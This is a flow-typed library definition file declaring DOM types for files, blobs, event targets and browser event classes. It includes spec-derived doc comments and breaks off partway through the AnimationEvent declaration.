    "content": "// flow-typed signature: 2872ddd56ba4b4bfefacac38ebdc6087\n// flow-typed version: 3e51657e95/dom/flow_>=v0.261.x\n\n/* Files */\n\ndeclare class Blob {\n  constructor(\n    blobParts?: Array<any>,\n    options?: {\n      type?: string,\n      endings?: string,\n      ...\n    }\n  ): void;\n  isClosed: boolean;\n  size: number;\n  type: string;\n  close(): void;\n  slice(start?: number, end?: number, contentType?: string): Blob;\n  arrayBuffer(): Promise<ArrayBuffer>;\n  text(): Promise<string>;\n  stream(): ReadableStream;\n}\n\ndeclare class FileReader extends EventTarget {\n  +EMPTY: 0;\n  +LOADING: 1;\n  +DONE: 2;\n  +error: null | DOMError;\n  +readyState: 0 | 1 | 2;\n  +result: null | string | ArrayBuffer;\n  abort(): void;\n  onabort: null | ((ev: ProgressEvent) => any);\n  onerror: null | ((ev: ProgressEvent) => any);\n  onload: null | ((ev: ProgressEvent) => any);\n  onloadend: null | ((ev: ProgressEvent) => any);\n  onloadstart: null | ((ev: ProgressEvent) => any);\n  onprogress: null | ((ev: ProgressEvent) => any);\n  readAsArrayBuffer(blob: Blob): void;\n  readAsBinaryString(blob: Blob): void;\n  readAsDataURL(blob: Blob): void;\n  readAsText(blob: Blob, encoding?: string): void;\n}\n\ndeclare type FilePropertyBag = {\n  type?: string,\n  lastModified?: number,\n  ...\n};\ndeclare class File extends Blob {\n  constructor(\n    fileBits: $ReadOnlyArray<string | BufferDataSource | Blob>,\n    filename: string,\n    options?: FilePropertyBag\n  ): void;\n  lastModified: number;\n  name: string;\n}\n\ndeclare class FileList {\n  @@iterator(): Iterator<File>;\n  length: number;\n  item(index: number): File;\n  [index: number]: File;\n}\n\ndeclare class DOMError {\n  name: string;\n}\n\ndeclare interface ShadowRoot extends DocumentFragment {\n  +delegatesFocus: boolean;\n  +host: Element;\n  // flowlint unsafe-getters-setters:off\n  get innerHTML(): string;\n  set innerHTML(value: string | TrustedHTML): void;\n  // flowlint unsafe-getters-setters:error\n  +mode: ShadowRootMode;\n\n  // From DocumentOrShadowRoot Mixin.\n  +styleSheets: StyleSheetList;\n  adoptedStyleSheets: Array<CSSStyleSheet>;\n}\n\ndeclare type ShadowRootMode = 'open' | 'closed';\n\ndeclare type ShadowRootInit = {\n  delegatesFocus?: boolean,\n  mode: ShadowRootMode,\n  ...\n};\n\ndeclare type ScrollToOptions = {\n  top?: number,\n  left?: number,\n  behavior?: 'auto' | 'smooth',\n  ...\n};\n\ntype EventHandler = (event: Event) => mixed;\ntype EventListener = {handleEvent: EventHandler, ...} | EventHandler;\ntype MouseEventHandler = (event: MouseEvent) => mixed;\ntype MouseEventListener =\n  | {handleEvent: MouseEventHandler, ...}\n  | MouseEventHandler;\ntype FocusEventHandler = (event: FocusEvent) => mixed;\ntype FocusEventListener =\n  | {handleEvent: FocusEventHandler, ...}\n  | FocusEventHandler;\ntype KeyboardEventHandler = (event: KeyboardEvent) => mixed;\ntype KeyboardEventListener =\n  | {handleEvent: KeyboardEventHandler, ...}\n  | KeyboardEventHandler;\ntype InputEventHandler = (event: InputEvent) => mixed;\ntype InputEventListener =\n  | {handleEvent: InputEventHandler, ...}\n  | InputEventHandler;\ntype TouchEventHandler = (event: TouchEvent) => mixed;\ntype TouchEventListener =\n  | {handleEvent: TouchEventHandler, ...}\n  | TouchEventHandler;\ntype WheelEventHandler = (event: WheelEvent) => mixed;\ntype WheelEventListener =\n  | {handleEvent: WheelEventHandler, ...}\n  | WheelEventHandler;\ntype AbortProgressEventHandler = (event: ProgressEvent) => mixed;\ntype AbortProgressEventListener =\n  | {handleEvent: AbortProgressEventHandler, ...}\n  | AbortProgressEventHandler;\ntype ProgressEventHandler = (event: ProgressEvent) => mixed;\ntype ProgressEventListener =\n  | {handleEvent: ProgressEventHandler, ...}\n  | ProgressEventHandler;\ntype DragEventHandler = (event: DragEvent) => mixed;\ntype DragEventListener =\n  | {handleEvent: DragEventHandler, ...}\n  | DragEventHandler;\ntype PointerEventHandler = (event: PointerEvent) => mixed;\ntype PointerEventListener =\n  | {handleEvent: PointerEventHandler, ...}\n  | PointerEventHandler;\ntype AnimationEventHandler = (event: AnimationEvent) => mixed;\ntype AnimationEventListener =\n  | {handleEvent: AnimationEventHandler, ...}\n  | AnimationEventHandler;\ntype ClipboardEventHandler = (event: ClipboardEvent) => mixed;\ntype ClipboardEventListener =\n  | {handleEvent: ClipboardEventHandler, ...}\n  | ClipboardEventHandler;\ntype TransitionEventHandler = (event: TransitionEvent) => mixed;\ntype TransitionEventListener =\n  | {handleEvent: TransitionEventHandler, ...}\n  | TransitionEventHandler;\ntype MessageEventHandler = (event: MessageEvent<>) => mixed;\ntype MessageEventListener =\n  | {handleEvent: MessageEventHandler, ...}\n  | MessageEventHandler;\ntype BeforeUnloadEventHandler = (event: BeforeUnloadEvent) => mixed;\ntype BeforeUnloadEventListener =\n  | {handleEvent: BeforeUnloadEventHandler, ...}\n  | BeforeUnloadEventHandler;\ntype StorageEventHandler = (event: StorageEvent) => mixed;\ntype StorageEventListener =\n  | {handleEvent: StorageEventHandler, ...}\n  | StorageEventHandler;\ntype SecurityPolicyViolationEventHandler = (\n  event: SecurityPolicyViolationEvent\n) => mixed;\ntype SecurityPolicyViolationEventListener =\n  | {handleEvent: SecurityPolicyViolationEventHandler, ...}\n  | SecurityPolicyViolationEventHandler;\ntype USBConnectionEventHandler = (event: USBConnectionEvent) => mixed;\ntype USBConnectionEventListener =\n  | {handleEvent: USBConnectionEventHandler, ...}\n  | USBConnectionEventHandler;\n\ntype MediaKeySessionType = 'temporary' | 'persistent-license';\ntype MediaKeyStatus =\n  | 'usable'\n  | 'expired'\n  | 'released'\n  | 'output-restricted'\n  | 'output-downscaled'\n  | 'status-pending'\n  | 'internal-error';\ntype MouseEventTypes =\n  | 'contextmenu'\n  | 'mousedown'\n  | 'mouseenter'\n  | 'mouseleave'\n  | 'mousemove'\n  | 'mouseout'\n  | 'mouseover'\n  | 'mouseup'\n  | 'click'\n  | 'dblclick';\ntype FocusEventTypes = 'blur' | 'focus' | 'focusin' | 'focusout';\ntype KeyboardEventTypes = 'keydown' | 'keyup' | 'keypress';\ntype InputEventTypes = 'input' | 'beforeinput';\ntype TouchEventTypes = 'touchstart' | 'touchmove' | 'touchend' | 'touchcancel';\ntype WheelEventTypes = 'wheel';\ntype AbortProgressEventTypes = 'abort';\ntype ProgressEventTypes =\n  | 'abort'\n  | 'error'\n  | 'load'\n  | 'loadend'\n  | 'loadstart'\n  | 'progress'\n  | 'timeout';\ntype DragEventTypes =\n  | 'drag'\n  | 'dragend'\n  | 'dragenter'\n  | 'dragexit'\n  | 'dragleave'\n  | 'dragover'\n  | 'dragstart'\n  | 'drop';\ntype PointerEventTypes =\n  | 'pointerover'\n  | 'pointerenter'\n  | 'pointerdown'\n  | 'pointermove'\n  | 'pointerup'\n  | 'pointercancel'\n  | 'pointerout'\n  | 'pointerleave'\n  | 'gotpointercapture'\n  | 'lostpointercapture';\ntype AnimationEventTypes =\n  | 'animationstart'\n  | 'animationend'\n  | 'animationiteration';\ntype ClipboardEventTypes = 'clipboardchange' | 'cut' | 'copy' | 'paste';\ntype TransitionEventTypes =\n  | 'transitionrun'\n  | 'transitionstart'\n  | 'transitionend'\n  | 'transitioncancel';\ntype MessageEventTypes = string;\ntype BeforeUnloadEventTypes = 'beforeunload';\ntype StorageEventTypes = 'storage';\ntype SecurityPolicyViolationEventTypes = 'securitypolicyviolation';\ntype USBConnectionEventTypes = 'connect' | 'disconnect';\ntype ToggleEventTypes = 'beforetoggle' | 'toggle';\ntype EventListenerOptionsOrUseCapture =\n  | boolean\n  | {\n      capture?: boolean,\n      once?: boolean,\n      passive?: boolean,\n      signal?: AbortSignal,\n      ...\n    };\n\ndeclare class EventTarget {\n  addEventListener(\n    type: MouseEventTypes,\n    listener: MouseEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: FocusEventTypes,\n    listener: FocusEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: KeyboardEventTypes,\n    listener: KeyboardEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: InputEventTypes,\n    listener: InputEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: TouchEventTypes,\n    listener: TouchEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: WheelEventTypes,\n    listener: WheelEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: AbortProgressEventTypes,\n    listener: AbortProgressEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: ProgressEventTypes,\n    listener: ProgressEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: DragEventTypes,\n    listener: DragEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: PointerEventTypes,\n    listener: PointerEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: AnimationEventTypes,\n    listener: AnimationEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: ClipboardEventTypes,\n    listener: ClipboardEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: TransitionEventTypes,\n    listener: TransitionEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: MessageEventTypes,\n    listener: MessageEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: BeforeUnloadEventTypes,\n    listener: BeforeUnloadEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: StorageEventTypes,\n    listener: StorageEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: SecurityPolicyViolationEventTypes,\n    listener: SecurityPolicyViolationEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: USBConnectionEventTypes,\n    listener: USBConnectionEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  addEventListener(\n    type: string,\n    listener: EventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n\n  removeEventListener(\n    type: MouseEventTypes,\n    listener: MouseEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: FocusEventTypes,\n    listener: FocusEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: KeyboardEventTypes,\n    listener: KeyboardEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: InputEventTypes,\n    listener: InputEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: TouchEventTypes,\n    listener: TouchEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: WheelEventTypes,\n    listener: WheelEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: AbortProgressEventTypes,\n    listener: AbortProgressEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: ProgressEventTypes,\n    listener: ProgressEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: DragEventTypes,\n    listener: DragEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: PointerEventTypes,\n    listener: PointerEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: AnimationEventTypes,\n    listener: AnimationEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: ClipboardEventTypes,\n    listener: ClipboardEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: TransitionEventTypes,\n    listener: TransitionEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: MessageEventTypes,\n    listener: MessageEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: BeforeUnloadEventTypes,\n    listener: BeforeUnloadEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: StorageEventTypes,\n    listener: StorageEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: SecurityPolicyViolationEventTypes,\n    listener: SecurityPolicyViolationEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: USBConnectionEventTypes,\n    listener: USBConnectionEventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n  removeEventListener(\n    type: string,\n    listener: EventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture\n  ): void;\n\n  attachEvent?: (type: MouseEventTypes, listener: MouseEventListener) => void;\n  attachEvent?: (type: FocusEventTypes, listener: FocusEventListener) => void;\n  attachEvent?: (\n    type: KeyboardEventTypes,\n    listener: KeyboardEventListener\n  ) => void;\n  attachEvent?: (type: InputEventTypes, listener: InputEventListener) => void;\n  attachEvent?: (type: TouchEventTypes, listener: TouchEventListener) => void;\n  attachEvent?: (type: WheelEventTypes, listener: WheelEventListener) => void;\n  attachEvent?: (\n    type: AbortProgressEventTypes,\n    listener: AbortProgressEventListener\n  ) => void;\n  attachEvent?: (\n    type: ProgressEventTypes,\n    listener: ProgressEventListener\n  ) => void;\n  attachEvent?: (type: DragEventTypes, listener: DragEventListener) => void;\n  attachEvent?: (\n    type: PointerEventTypes,\n    listener: PointerEventListener\n  ) => void;\n  attachEvent?: (\n    type: AnimationEventTypes,\n    listener: AnimationEventListener\n  ) => void;\n  attachEvent?: (\n    type: ClipboardEventTypes,\n    listener: ClipboardEventListener\n  ) => void;\n  attachEvent?: (\n    type: TransitionEventTypes,\n    listener: TransitionEventListener\n  ) => void;\n  attachEvent?: (\n    type: MessageEventTypes,\n    listener: MessageEventListener\n  ) => void;\n  attachEvent?: (\n    type: BeforeUnloadEventTypes,\n    listener: BeforeUnloadEventListener\n  ) => void;\n  attachEvent?: (\n    type: StorageEventTypes,\n    listener: StorageEventListener\n  ) => void;\n  attachEvent?: (\n    type: USBConnectionEventTypes,\n    listener: USBConnectionEventListener\n  ) => void;\n  attachEvent?: (type: string, listener: EventListener) => void;\n\n  detachEvent?: (type: MouseEventTypes, listener: MouseEventListener) => void;\n  detachEvent?: (type: FocusEventTypes, listener: FocusEventListener) => void;\n  detachEvent?: (\n    type: KeyboardEventTypes,\n    listener: KeyboardEventListener\n  ) => void;\n  detachEvent?: (type: InputEventTypes, listener: InputEventListener) => void;\n  detachEvent?: (type: TouchEventTypes, listener: TouchEventListener) => void;\n  detachEvent?: (type: WheelEventTypes, listener: WheelEventListener) => void;\n  detachEvent?: (\n    type: AbortProgressEventTypes,\n    listener: AbortProgressEventListener\n  ) => void;\n  detachEvent?: (\n    type: ProgressEventTypes,\n    listener: ProgressEventListener\n  ) => void;\n  detachEvent?: (type: DragEventTypes, listener: DragEventListener) => void;\n  detachEvent?: (\n    type: PointerEventTypes,\n    listener: PointerEventListener\n  ) => void;\n  detachEvent?: (\n    type: AnimationEventTypes,\n    listener: AnimationEventListener\n  ) => void;\n  detachEvent?: (\n    type: ClipboardEventTypes,\n    listener: ClipboardEventListener\n  ) => void;\n  detachEvent?: (\n    type: TransitionEventTypes,\n    listener: TransitionEventListener\n  ) => void;\n  detachEvent?: (\n    type: MessageEventTypes,\n    listener: MessageEventListener\n  ) => void;\n  detachEvent?: (\n    type: BeforeUnloadEventTypes,\n    listener: BeforeUnloadEventListener\n  ) => void;\n  detachEvent?: (\n    type: StorageEventTypes,\n    listener: StorageEventListener\n  ) => void;\n  detachEvent?: (\n    type: USBConnectionEventTypes,\n    listener: USBConnectionEventListener\n  ) => void;\n  detachEvent?: (type: string, listener: EventListener) => void;\n\n  dispatchEvent(evt: Event): boolean;\n\n  // Deprecated\n\n  cancelBubble: boolean;\n  initEvent(\n    eventTypeArg: string,\n    canBubbleArg: boolean,\n    cancelableArg: boolean\n  ): void;\n}\n\n// https://dom.spec.whatwg.org/#dictdef-eventinit\ntype Event$Init = {\n  bubbles?: boolean,\n  cancelable?: boolean,\n  composed?: boolean,\n  /** Non-standard. See `composed` instead. */\n  scoped?: boolean,\n  ...\n};\n\n// https://dom.spec.whatwg.org/#interface-event\ndeclare class Event {\n  constructor(type: string, eventInitDict?: Event$Init): void;\n  /**\n   * Returns the type of event, e.g. \"click\", \"hashchange\", or \"submit\".\n   */\n  +type: string;\n  /**\n   * Returns the object to which event is dispatched (its target).\n   */\n  +target: EventTarget; // TODO: nullable\n  /** @deprecated */\n  +srcElement: Element; // TODO: nullable\n  /**\n   * Returns the object whose event listener's callback is currently being invoked.\n   */\n  +currentTarget: EventTarget; // TODO: nullable\n  /**\n   * Returns the invocation target objects of event's path (objects on which\n   * listeners will be invoked), except for any nodes in shadow trees of which\n   * the shadow root's mode is \"closed\" that are not reachable from event's\n   * currentTarget.\n   */\n  composedPath(): Array<EventTarget>;\n\n  +NONE: number;\n  +AT_TARGET: number;\n  +BUBBLING_PHASE: number;\n  +CAPTURING_PHASE: number;\n  /**\n   * Returns the event's phase, which is one of NONE, CAPTURING_PHASE, AT_TARGET,\n   * and BUBBLING_PHASE.\n   */\n  +eventPhase: number;\n\n  /**\n   * When dispatched in a tree, invoking this method prevents event from reaching\n   * any objects other than the current object.\n   */\n  stopPropagation(): void;\n  /**\n   * Invoking this method prevents event from reaching any registered event\n   * listeners after the current one finishes running and, when dispatched in a\n   * tree, also prevents event from reaching any other objects.\n   */\n  stopImmediatePropagation(): void;\n\n  /**\n   * Returns true or false depending on how event was initialized. True if\n   * event goes through its target's ancestors in reverse tree order, and\n   * false otherwise.\n   */\n  +bubbles: boolean;\n  /**\n   * Returns true or false depending on how event was initialized. Its\n   * return value does not always carry meaning, but true can indicate\n   * that part of the operation during which event was dispatched, can\n   * be canceled by invoking the preventDefault() method.\n   */\n  +cancelable: boolean;\n  // returnValue: boolean; // legacy, and some subclasses still define it as a string!\n  /**\n   * If invoked when the cancelable attribute value is true, and while\n   * executing a listener for the event with passive set to false, signals to\n   * the operation that caused event to be dispatched that it needs to be\n   * canceled.\n   */\n  preventDefault(): void;\n  /**\n   * Returns true if preventDefault() was invoked successfully to indicate\n   * cancelation, and false otherwise.\n   */\n  +defaultPrevented: boolean;\n  /**\n   * Returns true or false depending on how event was initialized. True if\n   * event invokes listeners past a ShadowRoot node that is the root of its\n   * target, and false otherwise.\n   */\n  +composed: boolean;\n\n  /**\n   * Returns true if event was dispatched by the user agent, and false otherwise.\n   */\n  +isTrusted: boolean;\n  /**\n   * Returns the event's timestamp as the number of milliseconds measured relative\n   * to the time origin.\n   */\n  +timeStamp: number;\n\n  /** Non-standard. See Event.prototype.composedPath */\n  +deepPath?: () => EventTarget[];\n  /** Non-standard. See Event.prototype.composed */\n  +scoped: boolean;\n\n  /**\n   * @deprecated\n   */\n  initEvent(type: string, bubbles: boolean, cancelable: boolean): void;\n}\n\ntype CustomEvent$Init = {...Event$Init, detail?: any, ...};\n\ndeclare class CustomEvent extends Event {\n  constructor(type: string, eventInitDict?: CustomEvent$Init): void;\n  detail: any;\n\n  // deprecated\n  initCustomEvent(\n    type: string,\n    bubbles: boolean,\n    cancelable: boolean,\n    detail: any\n  ): CustomEvent;\n}\n\ntype UIEvent$Init = {...Event$Init, detail?: number, view?: any, ...};\n\ndeclare class UIEvent extends Event {\n  constructor(typeArg: string, uiEventInit?: UIEvent$Init): void;\n  detail: number;\n  view: any;\n}\n\ndeclare class CompositionEvent extends UIEvent {\n  data: string | null;\n  locale: string;\n}\n\ntype MouseEvent$MouseEventInit = {\n  screenX?: number,\n  screenY?: number,\n  clientX?: number,\n  clientY?: number,\n  ctrlKey?: boolean,\n  shiftKey?: boolean,\n  altKey?: boolean,\n  metaKey?: boolean,\n  button?: number,\n  buttons?: number,\n  region?: string | null,\n  relatedTarget?: EventTarget | null,\n  ...\n};\n\ndeclare class MouseEvent extends UIEvent {\n  constructor(\n    typeArg: string,\n    mouseEventInit?: MouseEvent$MouseEventInit\n  ): void;\n  altKey: boolean;\n  button: number;\n  buttons: number;\n  clientX: number;\n  clientY: number;\n  ctrlKey: boolean;\n  metaKey: boolean;\n  movementX: number;\n  movementY: number;\n  offsetX: number;\n  offsetY: number;\n  pageX: number;\n  pageY: number;\n  region: string | null;\n  relatedTarget: EventTarget | null;\n  screenX: number;\n  screenY: number;\n  shiftKey: boolean;\n  x: number;\n  y: number;\n  getModifierState(keyArg: string): boolean;\n}\n\ndeclare class FocusEvent extends UIEvent {\n  relatedTarget: ?EventTarget;\n}\n\ntype WheelEvent$Init = {\n  ...MouseEvent$MouseEventInit,\n  deltaX?: number,\n  deltaY?: number,\n  deltaZ?: number,\n  deltaMode?: 0x00 | 0x01 | 0x02,\n  ...\n};\n\ndeclare class WheelEvent extends MouseEvent {\n  static +DOM_DELTA_PIXEL: 0x00;\n  static +DOM_DELTA_LINE: 0x01;\n  static +DOM_DELTA_PAGE: 0x02;\n\n  constructor(type: string, eventInitDict?: WheelEvent$Init): void;\n  +deltaX: number;\n  +deltaY: number;\n  +deltaZ: number;\n  +deltaMode: 0x00 | 0x01 | 0x02;\n}\n\ndeclare class DragEvent extends MouseEvent {\n  dataTransfer: ?DataTransfer; // readonly\n}\n\ntype PointerEvent$PointerEventInit = MouseEvent$MouseEventInit & {\n  pointerId?: number,\n  width?: number,\n  height?: number,\n  pressure?: number,\n  tangentialPressure?: number,\n  tiltX?: number,\n  tiltY?: number,\n  twist?: number,\n  pointerType?: string,\n  isPrimary?: boolean,\n  ...\n};\n\ndeclare class PointerEvent extends MouseEvent {\n  constructor(\n    typeArg: string,\n    pointerEventInit?: PointerEvent$PointerEventInit\n  ): void;\n  pointerId: number;\n  width: number;\n  height: number;\n  pressure: number;\n  tangentialPressure: number;\n  tiltX: number;\n  tiltY: number;\n  twist: number;\n  pointerType: string;\n  isPrimary: boolean;\n}\n\ndeclare class ProgressEvent extends Event {\n  lengthComputable: boolean;\n  loaded: number;\n  total: number;\n\n  // Deprecated\n  initProgressEvent(\n    typeArg: string,\n    canBubbleArg: boolean,\n    cancelableArg: boolean,\n    lengthComputableArg: boolean,\n    loadedArg: number,\n    totalArg: number\n  ): void;\n}\n\ndeclare class PromiseRejectionEvent extends Event {\n  promise: Promise<any>;\n  reason: any;\n}\n\ntype PageTransitionEventInit = {\n  ...Event$Init,\n  persisted: boolean,\n  ...\n};\n\n// https://html.spec.whatwg.org/multipage/browsing-the-web.html#the-pagetransitionevent-interface\ndeclare class PageTransitionEvent extends Event {\n  constructor(type: string, init?: PageTransitionEventInit): void;\n  +persisted: boolean;\n}\n\n// used for websockets and postMessage, for example. See:\n// https://www.w3.org/TR/2011/WD-websockets-20110419/\n// and\n// https://www.w3.org/TR/2008/WD-html5-20080610/comms.html\n// and\n// https://html.spec.whatwg.org/multipage/comms.html#the-messageevent-interfaces\ndeclare class MessageEvent<Data = mixed> extends Event {\n  data: Data;\n  origin: string;\n  lastEventId: string;\n  source: WindowProxy;\n}\n\n// https://w3c.github.io/uievents/#idl-keyboardeventinit\ntype KeyboardEvent$Init = {\n  ...UIEvent$Init,\n  /**\n   * Initializes the `key` attribute of the KeyboardEvent object to the unicode\n   * character string representing the meaning of a key after taking into\n   * account all keyboard modifiers (such as shift-state). This value is the\n   * final effective value of the key. If the key is not a printable character,\n   * then it should be one of the key values defined in [UIEvents-Key](https://www.w3.org/TR/uievents-key/).\n   *\n   * NOTE: not `null`, this results in `evt.key === 'null'`!\n   */\n  key?: string | void,\n  /**\n   * Initializes the `code` attribute of the KeyboardEvent object to the unicode\n   * character string representing the key that was pressed, ignoring any\n   * keyboard modifications such as keyboard layout. This value should be one\n   * of the code values defined in [UIEvents-Code](https://www.w3.org/TR/uievents-code/).\n   *\n   * NOTE: not `null`, this results in `evt.code === 'null'`!\n   */\n  code?: string | void,\n  /**\n   * Initializes the `location` attribute of the KeyboardEvent object to one of\n   * the following location numerical constants:\n   *\n   *   DOM_KEY_LOCATION_STANDARD (numerical value 0)\n   *   DOM_KEY_LOCATION_LEFT (numerical value 1)\n   *   DOM_KEY_LOCATION_RIGHT (numerical value 2)\n   *   DOM_KEY_LOCATION_NUMPAD (numerical value 3)\n   */\n  location?: number,\n  /**\n   * Initializes the `ctrlKey` attribute of the KeyboardEvent object to true if\n   * the Control key modifier is to be considered active, false otherwise.\n   */\n  ctrlKey?: boolean,\n  /**\n   * Initializes the `shiftKey` attribute of the KeyboardEvent object to true if\n   * the Shift key modifier is to be considered active, false otherwise.\n   */\n  shiftKey?: boolean,\n  /**\n   * Initializes the `altKey` attribute of the KeyboardEvent object to true if\n   * the Alt (alternative) (or Option) key modifier is to be considered active,\n   * false otherwise.\n   */\n  altKey?: boolean,\n  /**\n   * Initializes the `metaKey` attribute of the KeyboardEvent object to true if\n   * the Meta key modifier is to be considered active, false otherwise.\n   */\n  metaKey?: boolean,\n  /**\n   * Initializes the `repeat` attribute of the KeyboardEvent object. This\n   * attribute should be set to true if the the current KeyboardEvent is\n   * considered part of a repeating sequence of similar events caused by the\n   * long depression of any single key, false otherwise.\n   */\n  repeat?: boolean,\n  /**\n   * Initializes the `isComposing` attribute of the KeyboardEvent object. This\n   * attribute should be set to true if the event being constructed occurs as\n   * part of a composition sequence, false otherwise.\n   */\n  isComposing?: boolean,\n  /**\n   * Initializes the `charCode` attribute of the KeyboardEvent to the Unicode\n   * code point for the event’s character.\n   */\n  charCode?: number,\n  /**\n   * Initializes the `keyCode` attribute of the KeyboardEvent to the system-\n   * and implementation-dependent numerical code signifying the unmodified\n   * identifier associated with the key pressed.\n   */\n  keyCode?: number,\n  /** Initializes the `which` attribute */\n  which?: number,\n  ...\n};\n\n// https://w3c.github.io/uievents/#idl-keyboardevent\ndeclare class KeyboardEvent extends UIEvent {\n  constructor(typeArg: string, init?: KeyboardEvent$Init): void;\n\n  /** `true` if the Alt (alternative) (or \"Option\") key modifier was active. */\n  +altKey: boolean;\n  /**\n   * Holds a string that identifies the physical key being pressed. The value\n   * is not affected by the current keyboard layout or modifier state, so a\n   * particular key will always return the same value.\n   */\n  +code: string;\n  /** `true` if the Control (control) key modifier was active. */\n  +ctrlKey: boolean;\n  /**\n   * `true` if the key event occurs as part of a composition session, i.e.,\n   * after a `compositionstart` event and before the corresponding\n   * `compositionend` event.\n   */\n  +isComposing: boolean;\n  /**\n   * Holds a [key attribute value](https://www.w3.org/TR/uievents-key/#key-attribute-value)\n   * corresponding to the key pressed. */\n  +key: string;\n  /** An indication of the logical location of the key on the device. */\n  +location: number;\n  /** `true` if the meta (Meta) key (or \"Command\") modifier was active. */\n  +metaKey: boolean;\n  /** `true` if the key has been pressed in a sustained manner. */\n  +repeat: boolean;\n  /** `true` if the shift (Shift) key modifier was active. */\n  +shiftKey: boolean;\n\n  /**\n   * Queries the state of a modifier using a key value.\n   *\n   * Returns `true` if it is a modifier key and the modifier is activated,\n   * `false` otherwise.\n   */\n  getModifierState(keyArg?: string): boolean;\n\n  /**\n   * Holds a character value, for keypress events which generate character\n   * input. The value is the Unicode reference number (code point) of that\n   * character (e.g. event.charCode = event.key.charCodeAt(0) for printable\n   * characters). For keydown or keyup events, the value of charCode is 0.\n   *\n   * @deprecated You should use KeyboardEvent.key instead, if available.\n   */\n  +charCode: number;\n  /**\n   * Holds a system- and implementation-dependent numerical code signifying\n   * the unmodified identifier associated with the key pressed. Unlike the\n   * `key` attribute, the set of possible values are not normatively defined.\n   * Typically, these value of the keyCode SHOULD represent the decimal\n   * codepoint in ASCII or Windows 1252, but MAY be drawn from a different\n   * appropriate character set. Implementations that are unable to identify\n   * a key use the key value 0.\n   *\n   * @deprecated You should use KeyboardEvent.key instead, if available.\n   */\n  +keyCode: number;\n  /**\n   * Holds a system- and implementation-dependent numerical code signifying\n   * the unmodified identifier associated with the key pressed. In most cases,\n   * the value is identical to keyCode.\n   *\n   * @deprecated You should use KeyboardEvent.key instead, if available.\n   */\n  +which: number;\n}\n\ntype InputEvent$Init = {\n  ...UIEvent$Init,\n  inputType?: string,\n  data?: string,\n  dataTransfer?: DataTransfer,\n  isComposing?: boolean,\n  ranges?: Array<any>, // TODO: StaticRange\n  ...\n};\n\ndeclare class InputEvent extends UIEvent {\n  constructor(typeArg: string, inputEventInit: InputEvent$Init): void;\n  +data: string | null;\n  +dataTransfer: DataTransfer | null;\n  +inputType: string;\n  +isComposing: boolean;\n  getTargetRanges(): Array<any>; // TODO: StaticRange\n}\n\ndeclare class AnimationEvent extends Event {\n  animationName: string;\n  elapsedTime: number;\n  pseudoElement: string;\n\n  // deprecated\n\n  initAnimationEvent: (\n    type: 'animationstart' | 'animationend' | 'animationiteration',\n    canBubble: boolean,\n    cancelable: boolean,\n    animationName: string,\n    elapsedTime: number\n  ) => 